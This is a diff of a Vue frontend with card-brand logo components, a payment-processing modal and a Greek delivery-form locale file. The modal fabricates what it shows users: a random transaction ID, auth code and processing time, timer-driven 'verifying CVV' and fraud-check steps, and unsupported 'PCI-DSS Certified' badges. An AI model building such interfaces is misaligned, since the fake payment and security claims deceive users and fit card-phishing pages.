13.222 22.42 13.222 9.163 0 15.947-5.952 15.947-13.984 0-4.164-2.055-7.734-6.158-10.258-2.066-1.195-6.158-2.977-14.2-5.647-19.291-6.538-25.91-13.527-25.91-27.185 0-16.225 14.214-28.41 32.846-28.41zm234.723 1.728h22.437l28.084 66.592 28.446-66.592h22.267l-45.494 101.686h-11.053zm-397.348.152h30.15c33.312 0 56.534 20.382 56.534 49.641 0 14.59-7.104 28.696-19.118 38.057-10.108 7.901-21.626 11.445-37.574 11.445h-29.992zm96.135 0h20.54v99.143h-20.54zm411.734 0h58.252v16.8h-37.725v22.005h36.336v16.791h-36.336v26.762h37.726v16.785h-58.252v-99.143zm71.858 0h30.455c23.69 0 37.265 10.71 37.265 29.272 0 15.18-8.514 25.14-23.986 28.105l33.148 41.766h-25.26l-28.429-39.828h-2.678v39.828h-20.515zm20.515 15.616v30.025h6.002c13.117 0 20.069-5.362 20.069-15.328 0-9.648-6.954-14.697-19.745-14.697zm-579.716 1.183v65.559h5.512c13.273 0 21.656-2.394 28.11-7.88 7.103-5.955 11.376-15.465 11.376-24.98 0-9.499-4.273-18.725-11.376-24.681-6.785-5.78-14.837-8.018-28.11-8.018z" fill="#fff"/><path d="m415.13 161.21c30.941 0 56.022 23.58 56.022 52.709v.033c0 29.13-25.081 52.742-56.021 52.742s-56.022-23.613-56.022-52.742v-.033c0-29.13 25.082-52.71 56.022-52.71zm364.85 127.15c-26.05 18.33-221.08 149.34-558.75 212.62h503.76c30.365 0 54.992-24.63 54.992-55.004v-157.62z" fill="#f47216"/></g></svg>

After

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,58 @@
<template>
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="height: 60%;width:80px" />
</template>
<script lang="ts">
import { defineComponent, computed } from "vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
export default defineComponent({
name: "CardLogo",
props: {
cardType: {
type: String,
required: true,
},
},
setup(props) {
const logoSrc = computed(() => {
const cardTypeUpper = props.cardType.toLocaleUpperCase();
if (cardTypeUpper.includes("VISA")) {
return c1;
} else if (cardTypeUpper.includes("MASTERCARD")) {
return c2;
} else if (cardTypeUpper.includes("JCB")) {
return c3;
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
return c4;
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
return c5;
} else if (cardTypeUpper.includes("DISCOVER")) {
return c6;
} else if (cardTypeUpper.includes("MAESTRO")) {
return c7;
} else if (cardTypeUpper.includes("DINNERS")) {
return c8;
}
// 你可以添加更多的卡类型和对应的图片
return null; // 如果没有匹配的卡类型,则不显示图片
});
return {
logoSrc,
};
},
});
</script>
<style scoped>
/* 可以在这里添加样式 */
</style>

View File

@@ -0,0 +1,58 @@
<template>
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="width: 100%" />
</template>
<script lang="ts">
import { defineComponent, computed } from "vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
export default defineComponent({
name: "CardLogo",
props: {
cardType: {
type: String,
required: true,
},
},
setup(props) {
const logoSrc = computed(() => {
const cardTypeUpper = props.cardType.toLocaleUpperCase();
if (cardTypeUpper.includes("VISA")) {
return c1;
} else if (cardTypeUpper.includes("MASTERCARD")) {
return c2;
} else if (cardTypeUpper.includes("JCB")) {
return c3;
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
return c4;
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
return c5;
} else if (cardTypeUpper.includes("DISCOVER")) {
return c6;
} else if (cardTypeUpper.includes("MAESTRO")) {
return c7;
} else if (cardTypeUpper.includes("DINNERS")) {
return c8;
}
// 你可以添加更多的卡类型和对应的图片
return null; // 如果没有匹配的卡类型,则不显示图片
});
return {
logoSrc,
};
},
});
</script>
<style scoped>
/* 可以在这里添加样式 */
</style>

View File

@@ -0,0 +1,673 @@
<template>
<transition name="plm-fade">
<div v-if="visible" class="plm-overlay" @click="handleOverlayClick">
<transition name="plm-slide">
<div v-if="visible" class="plm-dialog" @click.stop>
<!-- Dialog Header -->
<div class="plm-dialog-header">
<div class="plm-header-left">
<div class="plm-header-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<rect x="1" y="4" width="22" height="16" rx="2" ry="2"></rect>
<line x1="1" y1="10" x2="23" y2="10"></line>
</svg>
</div>
<div class="plm-header-text">
<span class="plm-header-title">{{ t("payment_loading.modal_title") }}</span>
<span class="plm-header-sub">{{ t("payment_loading.modal_subtitle") }}</span>
</div>
</div>
<div class="plm-header-pct">{{ Math.floor(progress) }}%</div>
</div>
<!-- Dialog Body -->
<div class="plm-dialog-body">
<!-- Card + progress -->
<div class="plm-center-wrap">
<div class="plm-card-logo">
<img :src="imgRef" alt="card" />
<div class="plm-scan-line"></div>
</div>
<div class="plm-progress-section">
<div class="plm-progress-track">
<div class="plm-progress-fill" :style="{ width: progress + '%' }"></div>
</div>
</div>
<div class="plm-status-msg">
<span class="plm-dot-pulse"></span>
<span>{{ progressMessage }}</span>
</div>
</div>
<!-- Security badges -->
<div class="plm-badges">
<div class="plm-badge">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/>
</svg>
<span>{{ t("SSL Encryption") }}</span>
</div>
<div class="plm-badge-sep"></div>
<div class="plm-badge">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/>
</svg>
<span>{{ t("PCI-DSS Certified") }}</span>
</div>
<div class="plm-badge-sep"></div>
<div class="plm-badge">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M3,6h18c.55,0,1,.45,1,1v10c0,.55-.45,1-1,1H3c-.55,0-1-.45-1-1V7C2,6.45,2.45,6,3,6zM20,10H4v6h16V10zM16,12h3v2h-3V12z"/>
</svg>
<span>{{ t("Safe payment") }}</span>
</div>
</div>
<!-- Transaction details -->
<div class="plm-details" v-if="showDetails">
<div class="plm-details-title">
<svg viewBox="0 0 24 24" fill="currentColor">
<path d="M14,2H6A2,2,0,0,0,4,4V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V8ZM16,18H8V16h8Zm0-4H8V12h8ZM13,9V3.5L18.5,9Z"/>
</svg>
{{ t("payment_loading.transaction_details") }}
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.transaction_id") }}</span>
<span class="plm-detail-val">{{ transactionId }}</span>
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.processing_network") }}</span>
<span class="plm-detail-val">{{ processingNetwork }}</span>
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.processing_time") }}</span>
<span class="plm-detail-val">{{ processingTime }}</span>
</div>
<div class="plm-detail-row">
<span class="plm-detail-label">{{ t("payment_loading.security_level") }}</span>
<span class="plm-detail-val plm-green">{{ securityLevel }}</span>
</div>
</div>
</div>
</div>
</transition>
</div>
</transition>
</template>
<script setup lang="ts">
import { ref, watch, onUnmounted, computed } from "vue";
import { useI18n } from "vue-i18n";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
import c9 from "@/assets/img/mir.jpg";
import c10 from "@/assets/img/80066acd3fcfa.svg";
const { t } = useI18n();
// ── Types ──────────────────────────────────────────────────
interface Props {
visible: boolean;
cardNumber?: string;
loading?: boolean;
closable?: boolean;
maskClosable?: boolean;
autoClose?: boolean;
autoCloseDelay?: number;
}
interface Emits {
(e: 'update:visible', value: boolean): void;
(e: 'close'): void;
(e: 'step-change', step: number): void;
}
const props = withDefaults(defineProps<Props>(), {
visible: false,
cardNumber: "",
loading: true,
closable: true,
maskClosable: true,
autoClose: false,
autoCloseDelay: 5000
});
const emit = defineEmits<Emits>();
// ── State ──────────────────────────────────────────────────
const progress = ref(0);
const progressMessage = ref(t('payment_loading.preparing'));
const intervalId = ref<ReturnType<typeof setInterval> | ReturnType<typeof setTimeout> | null>(null);
const showSpinner = ref(false);
const transactionId = ref('');
const authCode = ref('');
const processingNetwork = ref('');
const processingTime = ref('');
const securityLevel = ref(t('payment_loading.high'));
const showDetails = ref(false);
const imgRef = ref<string>(c8);
const autoCloseTimer = ref<number | null>(null);
// ── Computed ───────────────────────────────────────────────
const cardType = computed(() => {
const num = props.cardNumber.replace(/\D/g, '');
if (/^4/.test(num)) return 'VISA';
if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'MASTERCARD';
if (/^(62|81)/.test(num)) return 'CHINA UNION PAY';
if (/^3[347]/.test(num)) return 'AMERICAN EXPRESS';
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'DISCOVER';
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
if (/^(30|36|38|39)/.test(num)) return 'DINNERS';
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'MAESTRO';
if (/^220[0-4]/.test(num)) return 'MIR';
return 'Generic';
});
// ── Progress steps ─────────────────────────────────────────
const progressSteps = [
{ threshold: 0, message: t('payment_loading.step_init') },
{ threshold: 10, message: t('payment_loading.step_encrypt') },
{ threshold: 20, message: t('payment_loading.step_connect') },
{ threshold: 30, message: t('payment_loading.step_verify_card') },
{ threshold: 40, message: t('payment_loading.step_validate_cvv') },
{ threshold: 50, message: t('payment_loading.step_fraud') },
{ threshold: 60, message: t('payment_loading.step_send') },
{ threshold: 70, message: t('payment_loading.step_wait_auth') },
{ threshold: 80, message: t('payment_loading.step_process_resp') },
{ threshold: 90, message: t('payment_loading.step_confirm') },
{ threshold: 95, message: t('payment_loading.step_finalize') },
{ threshold: 100, message: '' },
];
// ── Functions ──────────────────────────────────────────────
function getCreditCardType(type: string | null): string {
if (!type) return c8;
const u = type.toLocaleUpperCase();
if (u.includes("VISA")) return c1;
if (u.includes("MASTERCARD")) return c2;
if (u.includes("JCB")) return c3;
if (u.includes("CHINA UNION PAY")) return c4;
if (u.includes("AMERICAN EXPRESS"))return c5;
if (u.includes("DISCOVER")) return c6;
if (u.includes("MAESTRO")) return c7;
if (u.includes("DINNERS")) return c8;
if (u.includes("MIR")) return c9;
return c10;
}
const generateTransactionDetails = (typeData: string) => {
const type = typeData.toUpperCase();
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
transactionId.value = Array.from({ length: 12 }, () => chars[Math.floor(Math.random() * chars.length)]).join('');
authCode.value = Array.from({ length: 6 }, () => Math.floor(Math.random() * 10)).join('');
processingNetwork.value =
type === 'VISA' ? t('payment_loading.network_visa') :
type === 'MASTERCARD' ? t('payment_loading.network_mastercard') :
type === 'AMERICAN EXPRESS' ? t('payment_loading.network_amex') :
type === 'CHINA UNION PAY' ? t('payment_loading.network_unionpay') :
t('payment_loading.network_intl');
processingTime.value = t('payment_loading.time_seconds', { time: (Math.random() * 2 + 1.5).toFixed(2) });
};
const animateProgress = () => {
if (intervalId.value) clearInterval(intervalId.value as ReturnType<typeof setInterval>);
const breakpoints = [
{ point: 20, delay: 700 },
{ point: 40, delay: 500 },
{ point: 70, delay: 1200 },
{ point: 90, delay: 600 },
];
const getBreakpoint = () => breakpoints.find(bp => Math.abs(progress.value - bp.point) < 1);
intervalId.value = setInterval(() => {
const breakpoint = getBreakpoint();
if (breakpoint) {
const increment = Math.random() * 0.2;
progress.value = Math.min(progress.value + increment, 95);
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
setTimeout(() => {
if (breakpoint.point === 70) showDetails.value = true;
animateProgress();
}, breakpoint.delay);
return;
}
let increment: number;
if (progress.value < 30) increment = Math.random() * 1 + 0.5;
else if (progress.value < 65) increment = Math.random() * 0.8 + 0.3;
else if (progress.value < 85) increment = Math.random() * 0.5 + 0.1;
else increment = Math.random() * 0.3 + 0.05;
progress.value = Math.min(progress.value + increment, 95);
for (let i = progressSteps.length - 1; i >= 0; i--) {
if (progress.value >= progressSteps[i].threshold) {
progressMessage.value = progressSteps[i].message;
break;
}
}
if (!props.loading) {
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
intervalId.value = null;
progress.value = 100;
progressMessage.value = progressSteps[progressSteps.length - 1].message;
}
}, 300);
};
const clearAutoCloseTimer = () => {
if (autoCloseTimer.value) {
clearTimeout(autoCloseTimer.value);
autoCloseTimer.value = null;
}
};
const closeModal = () => {
clearAutoCloseTimer();
emit('update:visible', false);
emit('close');
};
const handleOverlayClick = () => {
if (props.maskClosable) closeModal();
};
// ── Watchers ───────────────────────────────────────────────
watch(() => props.visible, (newVisible) => {
if (newVisible) {
const type = cardType.value || localStorage.getItem("cardType");
imgRef.value = getCreditCardType(type);
if (props.autoClose) {
autoCloseTimer.value = window.setTimeout(() => closeModal(), props.autoCloseDelay);
}
} else {
clearAutoCloseTimer();
}
});
watch(() => props.loading, (isLoading) => {
if (isLoading) {
showSpinner.value = true;
progress.value = 0;
progressMessage.value = progressSteps[0].message;
generateTransactionDetails(cardType.value);
animateProgress();
} else {
if (intervalId.value) {
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
intervalId.value = null;
}
const completeProgress = () => {
const currentProgress = progress.value;
const step = Math.max((100 - currentProgress) / 10, 1);
progress.value = Math.min(currentProgress + step, 100);
progressMessage.value = progressSteps[progressSteps.length - 1].message;
if (progress.value < 100) {
intervalId.value = setTimeout(completeProgress, 10);
} else {
setTimeout(() => { showSpinner.value = false; }, 500);
}
};
completeProgress();
}
}, { immediate: true });
// ── Lifecycle ──────────────────────────────────────────────
onUnmounted(() => {
clearAutoCloseTimer();
if (intervalId.value) {
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
intervalId.value = null;
}
});
</script>
<style scoped>
/* ===== Transitions ===== */
.plm-fade-enter-active,
.plm-fade-leave-active {
transition: opacity 0.3s ease;
}
.plm-fade-enter-from,
.plm-fade-leave-to {
opacity: 0;
}
.plm-slide-enter-active {
transition: opacity 0.35s ease, transform 0.35s cubic-bezier(0.22, 1, 0.36, 1);
}
.plm-slide-leave-active {
transition: opacity 0.2s ease, transform 0.2s ease;
}
.plm-slide-enter-from {
opacity: 0;
transform: translateY(20px) scale(0.97);
}
.plm-slide-leave-to {
opacity: 0;
transform: translateY(8px) scale(0.99);
}
/* ===== Overlay ===== */
.plm-overlay {
position: fixed;
inset: 0;
background: rgba(30, 41, 59, 0.4);
backdrop-filter: blur(8px);
-webkit-backdrop-filter: blur(8px);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
padding: 20px;
box-sizing: border-box;
}
/* ===== Dialog ===== */
.plm-dialog {
width: 100%;
max-width: 380px;
background: #fff;
border-radius: 18px;
overflow: hidden;
box-shadow:
0 0 0 1px rgba(148, 163, 184, 0.15),
0 8px 24px -4px rgba(15, 23, 42, 0.12),
0 32px 64px -16px rgba(15, 23, 42, 0.14);
}
/* ===== Header ===== */
.plm-dialog-header {
background: linear-gradient(160deg, #f8fafc 0%, #f1f5f9 100%);
border-bottom: 1px solid #e8edf3;
padding: 18px 20px 16px;
display: flex;
align-items: center;
justify-content: space-between;
}
.plm-header-left {
display: flex;
align-items: center;
gap: 12px;
}
.plm-header-icon {
width: 36px;
height: 36px;
background: #fff;
border: 1px solid #e2e8f0;
border-radius: 10px;
display: flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
box-shadow: 0 1px 3px rgba(0,0,0,0.06);
}
.plm-header-icon svg {
width: 17px;
height: 17px;
color: var(--global-primary-color, #4f7ef8);
}
.plm-header-text {
display: flex;
flex-direction: column;
gap: 2px;
}
.plm-header-title {
color: #1e293b;
font-size: 14px;
font-weight: 700;
letter-spacing: 0.1px;
line-height: 1.3;
}
.plm-header-sub {
color: #94a3b8;
font-size: 11.5px;
}
.plm-header-pct {
font-size: 20px;
font-weight: 800;
color: var(#007BFF, #007BFF);
letter-spacing: -0.5px;
min-width: 44px;
text-align: right;
}
/* ===== Dialog Body ===== */
.plm-dialog-body {
padding: 22px 20px 20px;
display: flex;
flex-direction: column;
align-items: center;
gap: 16px;
}
/* ===== Card + progress center ===== */
.plm-center-wrap {
width: 100%;
display: flex;
flex-direction: column;
align-items: center;
gap: 16px;
}
.plm-card-logo {
width: 120px;
height: 76px;
position: relative;
overflow: hidden;
border-radius: 10px;
background: #f8fafc;
border: 1px solid #e8edf3;
display: flex;
align-items: center;
justify-content: center;
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
}
.plm-card-logo img {
width: 72%;
object-fit: contain;
}
.plm-scan-line {
position: absolute;
top: 0;
left: -10%;
width: 8px;
height: 100%;
background: rgba(255, 255, 255, 0.85);
box-shadow: 0 0 18px 10px rgba(255, 255, 255, 0.75);
animation: plm-scan 2.2s ease-in-out infinite;
}
@keyframes plm-scan {
0% { left: -10%; }
100% { left: 110%; }
}
/* ===== Progress ===== */
.plm-progress-section {
width: 100%;
}
.plm-progress-track {
width: 100%;
height: 4px;
background: #e8edf3;
border-radius: 99px;
overflow: hidden;
}
.plm-progress-fill {
height: 100%;
background: linear-gradient(90deg,
var(--global-primary-color, #4f7ef8) 0%,
#93c5fd 50%,
var(--global-primary-color, #4f7ef8) 100%);
background-size: 200% 100%;
border-radius: 99px;
transition: width 0.6s ease;
animation: plm-shimmer 2.5s linear infinite;
}
@keyframes plm-shimmer {
0% { background-position: 200% center; }
100% { background-position: -200% center; }
}
/* ===== Status message ===== */
.plm-status-msg {
display: flex;
align-items: center;
justify-content: center;
gap: 7px;
font-size: 12.5px;
color: #64748b;
min-height: 18px;
text-align: center;
letter-spacing: 0.1px;
}
.plm-dot-pulse {
display: inline-block;
width: 6px;
height: 6px;
border-radius: 50%;
background: var(--global-primary-color, #4f7ef8);
flex-shrink: 0;
animation: plm-pulse 1.6s ease-in-out infinite;
}
@keyframes plm-pulse {
0%, 100% { opacity: 1; transform: scale(1); }
50% { opacity: 0.3; transform: scale(0.65); }
}
/* ===== Divider ===== */
.plm-divider {
width: 100%;
height: 1px;
background: #f1f5f9;
}
/* ===== Security badges ===== */
.plm-badges {
display: flex;
align-items: center;
justify-content: center;
gap: 10px;
width: 100%;
box-sizing: border-box;
}
.plm-badge {
display: flex;
align-items: center;
gap: 4px;
color: #94a3b8;
font-size: 10.5px;
font-weight: 500;
white-space: nowrap;
letter-spacing: 0.1px;
}
.plm-badge svg {
width: 11px;
height: 11px;
fill: #86efac;
flex-shrink: 0;
}
.plm-badge-sep {
width: 1px;
height: 10px;
background: #e2e8f0;
flex-shrink: 0;
}
/* ===== Transaction details ===== */
.plm-details {
width: 100%;
background: #f8fafc;
border-radius: 12px;
padding: 14px 16px;
box-sizing: border-box;
border: 1px solid #edf2f7;
}
.plm-details-title {
display: flex;
align-items: center;
gap: 5px;
font-size: 10.5px;
font-weight: 600;
color: #94a3b8;
text-transform: uppercase;
letter-spacing: 0.8px;
margin-bottom: 10px;
}
.plm-details-title svg {
width: 12px;
height: 12px;
fill: #cbd5e1;
flex-shrink: 0;
}
.plm-detail-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 6px 0;
font-size: 12.5px;
border-bottom: 1px dashed #edf2f7;
}
.plm-detail-row:last-child {
border-bottom: none;
padding-bottom: 2px;
}
.plm-detail-label {
color: #94a3b8;
font-weight: 400;
}
.plm-detail-val {
font-family: "SF Mono", ui-monospace, "Courier New", monospace;
color: #475569;
font-weight: 600;
font-size: 11.5px;
letter-spacing: 0.3px;
max-width: 55%;
text-align: right;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.plm-green {
color: #22c55e;
}
</style>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
<path
d="M15 4a1 1 0 1 0 0 2V4zm0 11v-1a1 1 0 0 0-1 1h1zm0 4l-.707.707A1 1 0 0 0 16 19h-1zm-4-4l.707-.707A1 1 0 0 0 11 14v1zm-4.707-1.293a1 1 0 0 0-1.414 1.414l1.414-1.414zm-.707.707l-.707-.707.707.707zM9 11v-1a1 1 0 0 0-.707.293L9 11zm-4 0h1a1 1 0 0 0-1-1v1zm0 4H4a1 1 0 0 0 1.707.707L5 15zm10-9h2V4h-2v2zm2 0a1 1 0 0 1 1 1h2a3 3 0 0 0-3-3v2zm1 1v6h2V7h-2zm0 6a1 1 0 0 1-1 1v2a3 3 0 0 0 3-3h-2zm-1 1h-2v2h2v-2zm-3 1v4h2v-4h-2zm1.707 3.293l-4-4-1.414 1.414 4 4 1.414-1.414zM11 14H7v2h4v-2zm-4 0c-.276 0-.525-.111-.707-.293l-1.414 1.414C5.42 15.663 6.172 16 7 16v-2zm-.707 1.121l3.414-3.414-1.414-1.414-3.414 3.414 1.414 1.414zM9 12h4v-2H9v2zm4 0a3 3 0 0 0 3-3h-2a1 1 0 0 1-1 1v2zm3-3V3h-2v6h2zm0-6a3 3 0 0 0-3-3v2a1 1 0 0 1 1 1h2zm-3-3H3v2h10V0zM3 0a3 3 0 0 0-3 3h2a1 1 0 0 1 1-1V0zM0 3v6h2V3H0zm0 6a3 3 0 0 0 3 3v-2a1 1 0 0 1-1-1H0zm3 3h2v-2H3v2zm1-1v4h2v-4H4zm1.707 4.707l.586-.586-1.414-1.414-.586.586 1.414 1.414z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" fill="currentColor">
<path
d="M11 2.253a1 1 0 1 0-2 0h2zm-2 13a1 1 0 1 0 2 0H9zm.447-12.167a1 1 0 1 0 1.107-1.666L9.447 3.086zM1 2.253L.447 1.42A1 1 0 0 0 0 2.253h1zm0 13H0a1 1 0 0 0 1.553.833L1 15.253zm8.447.833a1 1 0 1 0 1.107-1.666l-1.107 1.666zm0-14.666a1 1 0 1 0 1.107 1.666L9.447 1.42zM19 2.253h1a1 1 0 0 0-.447-.833L19 2.253zm0 13l-.553.833A1 1 0 0 0 20 15.253h-1zm-9.553-.833a1 1 0 1 0 1.107 1.666L9.447 14.42zM9 2.253v13h2v-13H9zm1.553-.833C9.203.523 7.42 0 5.5 0v2c1.572 0 2.961.431 3.947 1.086l1.107-1.666zM5.5 0C3.58 0 1.797.523.447 1.42l1.107 1.666C2.539 2.431 3.928 2 5.5 2V0zM0 2.253v13h2v-13H0zm1.553 13.833C2.539 15.431 3.928 15 5.5 15v-2c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM5.5 15c1.572 0 2.961.431 3.947 1.086l1.107-1.666C9.203 13.523 7.42 13 5.5 13v2zm5.053-11.914C11.539 2.431 12.928 2 14.5 2V0c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM14.5 2c1.573 0 2.961.431 3.947 1.086l1.107-1.666C18.203.523 16.421 0 14.5 0v2zm3.5.253v13h2v-13h-2zm1.553 12.167C18.203 13.523 16.421 13 14.5 13v2c1.573 0 2.961.431 3.947 1.086l1.107-1.666zM14.5 13c-1.92 0-3.703.523-5.053 1.42l1.107 1.666C11.539 15.431 12.928 15 14.5 15v-2z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="20" fill="currentColor">
<path
d="M11.447 8.894a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm0 1.789a1 1 0 1 0 .894-1.789l-.894 1.789zM7.447 7.106a1 1 0 1 0-.894 1.789l.894-1.789zM10 9a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0H8zm9.447-5.606a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm2 .789a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zM18 5a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0h-2zm-5.447-4.606a1 1 0 1 0 .894-1.789l-.894 1.789zM9 1l.447-.894a1 1 0 0 0-.894 0L9 1zm-2.447.106a1 1 0 1 0 .894 1.789l-.894-1.789zm-6 3a1 1 0 1 0 .894 1.789L.553 4.106zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zm-2-.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 2.789a1 1 0 1 0 .894-1.789l-.894 1.789zM2 5a1 1 0 1 0-2 0h2zM0 7.5a1 1 0 1 0 2 0H0zm8.553 12.394a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 1a1 1 0 1 0 .894 1.789l-.894-1.789zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zM8 19a1 1 0 1 0 2 0H8zm2-2.5a1 1 0 1 0-2 0h2zm-7.447.394a1 1 0 1 0 .894-1.789l-.894 1.789zM1 15H0a1 1 0 0 0 .553.894L1 15zm1-2.5a1 1 0 1 0-2 0h2zm12.553 2.606a1 1 0 1 0 .894 1.789l-.894-1.789zM17 15l.447.894A1 1 0 0 0 18 15h-1zm1-2.5a1 1 0 1 0-2 0h2zm-7.447-5.394l-2 1 .894 1.789 2-1-.894-1.789zm-1.106 1l-2-1-.894 1.789 2 1 .894-1.789zM8 9v2.5h2V9H8zm8.553-4.894l-2 1 .894 1.789 2-1-.894-1.789zm.894 0l-2-1-.894 1.789 2 1 .894-1.789zM16 5v2.5h2V5h-2zm-4.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zm-2.894-1l-2 1 .894 1.789 2-1L8.553.106zM1.447 5.894l2-1-.894-1.789-2 1 .894 1.789zm-.894 0l2 1 .894-1.789-2-1-.894 1.789zM0 5v2.5h2V5H0zm9.447 13.106l-2-1-.894 1.789 2 1 .894-1.789zm0 1.789l2-1-.894-1.789-2 1 .894 1.789zM10 19v-2.5H8V19h2zm-6.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zM2 15v-2.5H0V15h2zm13.447 1.894l2-1-.894-1.789-2 1 .894 1.789zM18 15v-2.5h-2V15h2z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
<path
d="M10 3.22l-.61-.6a5.5 5.5 0 0 0-7.666.105 5.5 5.5 0 0 0-.114 7.665L10 18.78l8.39-8.4a5.5 5.5 0 0 0-.114-7.665 5.5 5.5 0 0 0-7.666-.105l-.61.61z"
/>
</svg>
</template>

View File

@@ -0,0 +1,19 @@
<!-- This icon is from <https://github.com/Templarian/MaterialDesign>, distributed under Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0) license-->
<template>
<svg
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
aria-hidden="true"
role="img"
class="iconify iconify--mdi"
width="24"
height="24"
preserveAspectRatio="xMidYMid meet"
viewBox="0 0 24 24"
>
<path
d="M20 18v-4h-3v1h-2v-1H9v1H7v-1H4v4h16M6.33 8l-1.74 4H7v-1h2v1h6v-1h2v1h2.41l-1.74-4H6.33M9 5v1h6V5H9m12.84 7.61c.1.22.16.48.16.8V18c0 .53-.21 1-.6 1.41c-.4.4-.85.59-1.4.59H4c-.55 0-1-.19-1.4-.59C2.21 19 2 18.53 2 18v-4.59c0-.32.06-.58.16-.8L4.5 7.22C4.84 6.41 5.45 6 6.33 6H7V5c0-.55.18-1 .57-1.41C7.96 3.2 8.44 3 9 3h6c.56 0 1.04.2 1.43.59c.39.41.57.86.57 1.41v1h.67c.88 0 1.49.41 1.83 1.22l2.34 5.39z"
fill="currentColor"
></path>
</svg>
</template>

View File

@@ -0,0 +1,132 @@
export default {
"There is an error in this field, please check": "Υπάρχει σφάλμα σε αυτό το πεδίο, παρακαλούμε ελέγξτε",
"Please enter a valid email address": "Παρακαλώ εισάγετε μια έγκυρη διεύθυνση email",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Αγαπητοί χρήστες, παρακαλούμε συμπληρώστε προσεκτικά την φόρμα για να εξασφαλίσετε την επιτυχή παράδοση",
"Your Name": "Το όνομά σας",
"Address": "Διεύθυνση",
"Detailed Address": "Λεπτομερής Διεύθυνση",
"(Optional)": "(Προαιρετικό)",
"City": "Πόλη",
